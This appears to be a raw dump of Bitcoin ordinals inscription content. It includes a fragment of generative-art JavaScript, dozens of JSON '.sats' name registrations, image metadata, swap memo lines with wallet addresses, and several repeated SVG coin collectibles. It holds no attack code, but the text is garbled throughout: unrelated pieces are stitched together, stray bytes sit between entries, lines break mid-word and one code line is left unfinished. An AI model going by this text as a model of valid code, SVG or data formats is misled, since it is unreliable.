if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"phemex.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"dcg.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"crypto.com.sats"}h!
text/plain;charset=utf-8
3{"p":"sns","op":"reg","name":"cryptohongkong.sats"}h!
DjB=:ETH.ETH:0xF782318cf057eB38eF04946f4e7991C367c4A34a:13703892:te:0
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11066.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "dentist.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11063.sats"}h!
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginM
alDocumentID="xmp.did:0043d78d-c5d4-a44a-b0bd-9ac08349d54b" xmpMM:DocumentID="xmp.did:CC9FD4DBB77D11ED86BAC04D1E3C3113" xmpMM:InstanceID="xmp.iid:CC9FD4DAB77D11ED86BAC04D1E3C3113" xmp:CreatorTool="Adobe Photoshop 22.2 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:559812c9-8c10-5242-aabe-8f421090aaaa" stRef:documentID="adobe:docid:photoshop:de752437-0469-c74e-befe-8c17cec5124d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"bybit.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11062.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11065.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11064.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
4j2DC-L5:WSKkUWKcYOWp3+r9muSAAB5l3Mq2Q013wCl6DHnWn0U=
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "67888.sats"
6j4ion:3.QmetVTiuNEjSAMTJ13nGAvWFUkNnHzSbFeqxhPmCBPgD1r
4j2DC-L5:1MjYeSzD2QeVw84LKky/3OkvEEcijONHoKa6wy2gFMs=
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"gmt.sats"}h!
  "name": "tesla.og",
  "owner": "bc1p650l79657g924zcfcyayzdc6n43p7l7nyc0hhcytdp9dngpnyhpq4rekur",
  "text":"back to the reborn"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
IjGREFUND:FA425FC1CF75839D091B6CB07B3AB442A149E129FA9F70C96E0BCF841B7D848C
Bj@=:ETH.ETH:0xFBf4c2291dA695881Bb8B6FDdDB5967e31e278B1:13300399::0
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"brice.sats"}h!
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"deltaexchange.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"woonetwork.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"btse.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"coinone.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"woofi.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"wootrade.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bitvavo.sats"}h!
text/plain;charset=utf-8
  "name": "adt.sats"
text/plain;charset=utf-8
  "name": "adp.sats"
text/plain;charset=utf-8
  "name": "adw.sats"
text/plain;charset=utf-8
  "name": "adu.sats"
text/plain;charset=utf-8
  "name": "adk.sats"
text/plain;charset=utf-8
  "name": "adm.sats"
text/plain;charset=utf-8
  "name": "adl.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"p2b.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kuna.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"coinmetro.sats"}h!
text/plain;charset=utf-8
  "name": "btc3.sats"
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"coinstore.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"deepcoin.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
4j2DC-L5:WSKkUWKcYOWp3+r9muSAAB5l3Mq2Q013wCl6DHnWn0U=
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"hitbtc.sats"}h!
text/plain;charset=utf-8
5{"p":"sns","op":"reg","name":"dragonflycapital.sats"}h!
=zTXtRaw profile type icc
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"shima.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"dragonfly.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"pantera.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"blocklabs.sats"}h!
text/plain;charset=utf-8
  "name": "ady.sats"
text/plain;charset=utf-8
  "name": "btc5.sats"
text/plain;charset=utf-8
  "title": "Satoshi Nakamoto's first word in the first block of Bitcoin network"
  "url": "https://mempool.space/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f",
  "body": "TheTimes 03/Jan/2009 Chancellor on brink of secondbailout for banks",
  "author": "Satoshi Nakamoto"
text/plain;charset=utf-8
  "name": "milfs.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"333ETH.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"222ETH.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "k10.sats"
text/plain;charset=utf-8
  "name": "happiness.sats"
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077131</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077131   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078531</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078531   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078031</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078031   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
text/plain;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078231</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078231   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
text/plain;charset=utf-8
  "name": "andylau.sats"
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077431</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077431   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077331</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077331   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
text/plain;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077031</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503077031   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
text/plain;charset=utf-8
-{'p': 'sns', 'op': 'reg', 'name': 'lwy.sats'}h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078131</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503078131   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h!
<?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503079168</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM
ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM
nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786   SAT 3930503079168   JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM
